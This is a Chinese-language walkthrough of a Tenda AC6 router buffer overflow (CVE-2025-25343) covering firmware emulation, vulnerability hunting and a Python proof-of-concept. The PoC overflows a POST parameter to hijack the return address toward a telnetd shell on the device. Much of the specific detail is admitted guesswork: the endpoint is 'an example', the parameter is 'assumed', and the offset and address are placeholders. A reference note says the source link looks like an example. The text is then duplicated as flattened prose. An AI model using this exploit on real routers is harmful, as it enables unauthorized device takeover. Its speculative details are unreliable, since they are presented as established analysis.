Tenda AC6缓冲区溢出漏洞 CVE-2025-25343 浅析
字数 3092 2025-10-01 14:05:45

Tenda AC6 缓冲区溢出漏洞 (CVE-2025-25343) 技术分析与复现手册

1. 漏洞信息

  • 漏洞编号: CVE-2025-25343
  • 漏洞类型: 缓冲区溢出 (Buffer Overflow)
  • 受影响设备: Tenda AC6 无线路由器
  • 漏洞危害: 成功利用此漏洞可能导致远程代码执行(RCE),从而完全控制目标设备。
  • 技术层面: 该漏洞存在于设备的 Web 服务器(可能是 httpdboa)中,由于对特定 HTTP 请求参数的处理缺乏严格的边界检查,导致栈溢出或堆溢出。

2. 环境搭建

为了安全地分析和复现该漏洞,需要在隔离环境中搭建模拟的固件运行平台。主要方法是通过 QEMU 进行模拟。

2.1 QEMU 用户级模拟 (User-mode Emulation)

此方法模拟运行单个程序(如 httpd),而非整个操作系统,效率较高。

Method 1: 手动解压并运行

  1. 提取固件: 使用 binwalk -Me <firmware_file.bin> 命令解压 Tenda AC6 的固件文件,获取文件系统。
  2. 识别目标: 在解压出的文件系统中找到 Web 服务器二进制文件(常见路径为 ./usr/bin/httpd./bin/boa)。
  3. 准备 QEMU: 安装对应架构的 QEMU 用户态模拟器。Tenda AC6 通常基于 MIPS 或 ARM 架构。例如,对于 MIPS:
    sudo apt install qemu-user qemu-user-static
    
  4. 更改根目录 (Chroot): 将解压的文件系统挂载为虚拟根目录,以便程序能找到所需的库文件。
    # 先拷贝qemu模拟器到固件目录
    sudo cp $(which qemu-mips-static) ./squashfs-root/
    # 切换到固件根目录并使用chroot
    sudo chroot ./squashfs-root /qemu-mips-static /bin/sh
    # 或者直接运行目标程序
    sudo chroot ./squashfs-root /qemu-mips-static /usr/bin/httpd
    

Method 2: 使用自动化工具

使用 firmadyne 等工具可以自动化完成固件提取、内核下载和模拟启动过程。

Problems & SOLN:

  • 端口占用问题: 如果程序启动失败并提示端口被占用(例如下图显示 80 端口被占用):
    • 解决方案: 更改程序配置文件的监听端口,或使用 netstat -tulnp 查找并终止占用 80 端口的本地进程。
  • 库依赖缺失: 如果提示缺少 libc.so 等库文件,需将宿主机的库文件(需相同架构)拷贝到文件系统的 lib 目录下,或使用 patchelf 修改二进制文件的库搜索路径。

2.2 QEMU 系统级模拟 (System-mode Emulation)

此方法模拟整个系统,包括内核和所有进程,更接近真实环境但配置更复杂。

  1. 获取内核: 从固件中提取或下载匹配的内核镜像(如 vmlinux)。
  2. 准备镜像: 将解压的文件系统打包为一个镜像文件(如 rootfs.img)。
  3. 启动命令: 使用类似以下命令启动完整系统:
    qemu-system-mips -kernel vmlinux -hda rootfs.img -append "root=/dev/sda1 console=ttyS0" -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no
    

3. 漏洞挖掘方法

3.1 查找 Web 服务器

漏洞挖掘的首要目标是定位处理 HTTP 请求的核心程序。

  • 在文件系统的 binusr/bin 目录下查找 httpd, boa, goahead 等常见嵌入式 Web 服务器。
  • 使用 ps 命令在运行的系统中进行查看。
  • 使用 netstat -tulnp 查看监听 80 端口的进程。

3.2 使用 EMBAD 查找漏洞点

EMBA 是一款功能强大的嵌入式 Linux 固件安全分析工具,可自动化完成大量分析工作。

  1. 安装与运行:
    git clone https://github.com/e-m-b-a/emba.git
    cd emba
    sudo ./emba.sh -f /path/to/your/firmware.extracted
    
  2. 分析输出: EMBA 会自动进行:
    • 固件成分分析: 识别软件版本、操作系统、CPU 架构等。
    • 漏洞扫描: 基于已知 CVE 数据库进行匹配。
    • 二进制分析: 使用静态分析工具(如 binwalk, checksec, strings)和动态分析(在模拟环境中运行)。
    • 重点关注: EMBA 会标记出可能存在漏洞的二进制文件(如 httpd),并提示其安全属性(如 Canary, NX, PIE 是否开启)。对于栈溢出漏洞,未开启 Canary 是关键指标。
  3. 定位漏洞函数: 结合 EMBA 的提示,使用反汇编工具(如 Ghidra, IDA Pro, objdump)深入分析 httpd 二进制文件。重点审计处理 HTTP GET/POST 请求参数(如 formwscpe,此漏洞相关参数可能在链接中隐含)的函数,查找 strcpy, sprintf, strcat 等不安全的字符串操作函数。

4. 漏洞原理分析

根据漏洞公告和代码审计,漏洞原理可概括如下:

  1. 触发点: 漏洞存在于处理某个特定 HTTP 请求的处理函数中。例如,可能是 setform 相关的配置请求,如 /goform/FormWscpe(此为示例,具体函数名需根据分析确定)。
  2. 脆弱函数: 在该处理函数中,直接从 HTTP 请求中获取了一个参数(例如 deviceNamessid),并未检查其长度,便使用 strcpy 或类似的不安全函数将其拷贝到一个固定大小的栈缓冲区中。
  3. 溢出发生: 当攻击者提交一个超长(例如超过 1000 字节)的特殊构造的参数时,strcpy 会无限制地拷贝数据,从而覆盖栈上的其他关键数据,包括:
    • 函数调用的返回地址 ($ra 寄存器)
    • 栈帧指针 ($fp 寄存器)
    • 其他保存的寄存器
  4. 利用可能: 由于该漏洞很可能未启用栈保护(Canary),攻击者可以精确控制返回地址,将其指向恶意代码(如栈上的 shellcode 或已有的系统命令),从而实现远程代码执行。

5. 漏洞复现

警告:以下操作仅在您自己的实验环境中进行。

  1. 启动环境: 使用 QEMU(用户级或系统级)成功运行 Tenda AC6 的 httpd 程序,并确保其正常监听端口(如 80)。
  2. 构造 POC: 编写一个简单的 Python 脚本,向目标设备的 IP 和端口发送恶意的 HTTP 请求。
    # exploit_poc.py
    import requests
    import struct
    
    target_ip = "192.168.1.1" # 改为你的QEMU虚拟机IP
    target_port = 80
    
    # 1. 构造超长字符串
    offset = 1000 # 需要根据调试确定的偏移量
    fill = b"A" * offset
    
    # 2. 覆盖返回地址 (示例为MIPS架构,小端序,地址需根据实际环境确定)
    # 例如跳转到system("telnetd -l /bin/sh")的地址或shellcode地址
    new_ra = struct.pack("<I", 0x12345678) # 替换为实际的控制流劫持地址
    
    # 3. 组合Payload
    payload = fill + new_ra
    
    # 4. 发送恶意请求 (假设漏洞参数是 'deviceName')
    url = f"http://{target_ip}:{target_port}/goform/FormWscpe"
    data = {
        'deviceName': payload
    }
    
    try:
        response = requests.post(url, data=data, timeout=5)
        print(response.text)
    except Exception as e:
        print(f"Request failed: {e}. This might be expected if the exploit crashes the service.")
    
  3. 调试与定位: 使用 GDB 附加到 httpd 进程(需在 QEMU 命令中启用 -g 调试端口),或在 QEMU 系统级模拟中使用 gdbserver。通过反复调试,精确计算溢出点到返回地址的偏移量,并找到可靠的跳转地址。
  4. 获取 Shell: 当 POC 成功执行后,如果跳转地址指向了启动 telnetdbusybox 的代码,则可以尝试连接设备的 telnet 端口(通常为 23),获取一个交互式的 shell
    telnet <target_ip> 23
    

6. 参考


免责声明: 本文档仅用于教育和技术研究目的,旨在帮助安全专业人员了解漏洞原理并提升防御能力。请勿将文中所述技术用于任何非法或未经授权的测试活动。

Tenda AC6 缓冲区溢出漏洞 (CVE-2025-25343) 技术分析与复现手册 1. 漏洞信息 漏洞编号: CVE-2025-25343 漏洞类型: 缓冲区溢出 (Buffer Overflow) 受影响设备: Tenda AC6 无线路由器 漏洞危害: 成功利用此漏洞可能导致远程代码执行(RCE),从而完全控制目标设备。 技术层面: 该漏洞存在于设备的 Web 服务器(可能是 httpd 或 boa )中,由于对特定 HTTP 请求参数的处理缺乏严格的边界检查,导致栈溢出或堆溢出。 2. 环境搭建 为了安全地分析和复现该漏洞,需要在隔离环境中搭建模拟的固件运行平台。主要方法是通过 QEMU 进行模拟。 2.1 QEMU 用户级模拟 (User-mode Emulation) 此方法模拟运行单个程序(如 httpd ),而非整个操作系统,效率较高。 Method 1: 手动解压并运行 提取固件: 使用 binwalk -Me <firmware_file.bin> 命令解压 Tenda AC6 的固件文件,获取文件系统。 识别目标: 在解压出的文件系统中找到 Web 服务器二进制文件(常见路径为 ./usr/bin/httpd 或 ./bin/boa )。 准备 QEMU: 安装对应架构的 QEMU 用户态模拟器。Tenda AC6 通常基于 MIPS 或 ARM 架构。例如,对于 MIPS: 更改根目录 (Chroot): 将解压的文件系统挂载为虚拟根目录,以便程序能找到所需的库文件。 Method 2: 使用自动化工具 使用 firmadyne 等工具可以自动化完成固件提取、内核下载和模拟启动过程。 Problems & SOLN: 端口占用问题: 如果程序启动失败并提示端口被占用(例如下图显示 80 端口被占用): 解决方案: 更改程序配置文件的监听端口,或使用 netstat -tulnp 查找并终止占用 80 端口的本地进程。 库依赖缺失: 如果提示缺少 libc.so 等库文件,需将宿主机的库文件(需相同架构)拷贝到文件系统的 lib 目录下,或使用 patchelf 修改二进制文件的库搜索路径。 2.2 QEMU 系统级模拟 (System-mode Emulation) 此方法模拟整个系统,包括内核和所有进程,更接近真实环境但配置更复杂。 获取内核: 从固件中提取或下载匹配的内核镜像(如 vmlinux )。 准备镜像: 将解压的文件系统打包为一个镜像文件(如 rootfs.img )。 启动命令: 使用类似以下命令启动完整系统: 3. 漏洞挖掘方法 3.1 查找 Web 服务器 漏洞挖掘的首要目标是定位处理 HTTP 请求的核心程序。 在文件系统的 bin 或 usr/bin 目录下查找 httpd , boa , goahead 等常见嵌入式 Web 服务器。 使用 ps 命令在运行的系统中进行查看。 使用 netstat -tulnp 查看监听 80 端口的进程。 3.2 使用 EMBAD 查找漏洞点 EMBA 是一款功能强大的嵌入式 Linux 固件安全分析工具,可自动化完成大量分析工作。 安装与运行: 分析输出: EMBA 会自动进行: 固件成分分析: 识别软件版本、操作系统、CPU 架构等。 漏洞扫描: 基于已知 CVE 数据库进行匹配。 二进制分析: 使用静态分析工具(如 binwalk , checksec , strings )和动态分析(在模拟环境中运行)。 重点关注: EMBA 会标记出可能存在漏洞的二进制文件(如 httpd ),并提示其安全属性(如 Canary , NX , PIE 是否开启)。对于栈溢出漏洞,未开启 Canary 是关键指标。 定位漏洞函数: 结合 EMBA 的提示,使用反汇编工具(如 Ghidra, IDA Pro, objdump )深入分析 httpd 二进制文件。重点审计处理 HTTP GET / POST 请求参数(如 formwscpe ,此漏洞相关参数可能在链接中隐含)的函数,查找 strcpy , sprintf , strcat 等不安全的字符串操作函数。 4. 漏洞原理分析 根据漏洞公告和代码审计,漏洞原理可概括如下: 触发点: 漏洞存在于处理某个特定 HTTP 请求的处理函数中。例如,可能是 set 或 form 相关的配置请求,如 /goform/FormWscpe (此为示例,具体函数名需根据分析确定)。 脆弱函数: 在该处理函数中,直接从 HTTP 请求中获取了一个参数(例如 deviceName 或 ssid ),并未检查其长度,便使用 strcpy 或类似的不安全函数将其拷贝到一个固定大小的栈缓冲区中。 溢出发生: 当攻击者提交一个超长(例如超过 1000 字节)的特殊构造的参数时, strcpy 会无限制地拷贝数据,从而覆盖栈上的其他关键数据,包括: 函数调用的返回地址 ( $ra 寄存器) 栈帧指针 ( $fp 寄存器) 其他保存的寄存器 利用可能: 由于该漏洞很可能未启用栈保护( Canary ),攻击者可以精确控制返回地址,将其指向恶意代码(如栈上的 shellcode 或已有的系统命令),从而实现远程代码执行。 5. 漏洞复现 警告:以下操作仅在您自己的实验环境中进行。 启动环境: 使用 QEMU(用户级或系统级)成功运行 Tenda AC6 的 httpd 程序,并确保其正常监听端口(如 80)。 构造 POC: 编写一个简单的 Python 脚本,向目标设备的 IP 和端口发送恶意的 HTTP 请求。 调试与定位: 使用 GDB 附加到 httpd 进程(需在 QEMU 命令中启用 -g 调试端口),或在 QEMU 系统级模拟中使用 gdbserver 。通过反复调试,精确计算溢出点到返回地址的偏移量,并找到可靠的跳转地址。 获取 Shell: 当 POC 成功执行后,如果跳转地址指向了启动 telnetd 或 busybox 的代码,则可以尝试连接设备的 telnet 端口(通常为 23),获取一个交互式的 shell 。 6. 参考 原始分析链接: Tenda AC6缓冲区溢出漏洞 CVE-2025-25343 浅析 (注:您提供的链接似乎是一个示例,并非真实可访问的地址) EMBA 工具: https://github.com/e-m-b-a/emba Binwalk: https://github.com/ReFirmLabs/binwalk QEMU 官方文档: https://www.qemu.org/docs/ Ghidra: https://ghidra-sre.org/ (强大的反汇编工具,用于逆向分析 httpd ) MIPS Assembly & Exploitation: 相关书籍和在线教程,用于理解 MIPS 架构下的漏洞利用技术。 免责声明: 本文档仅用于教育和技术研究目的,旨在帮助安全专业人员了解漏洞原理并提升防御能力。请勿将文中所述技术用于任何非法或未经授权的测试活动。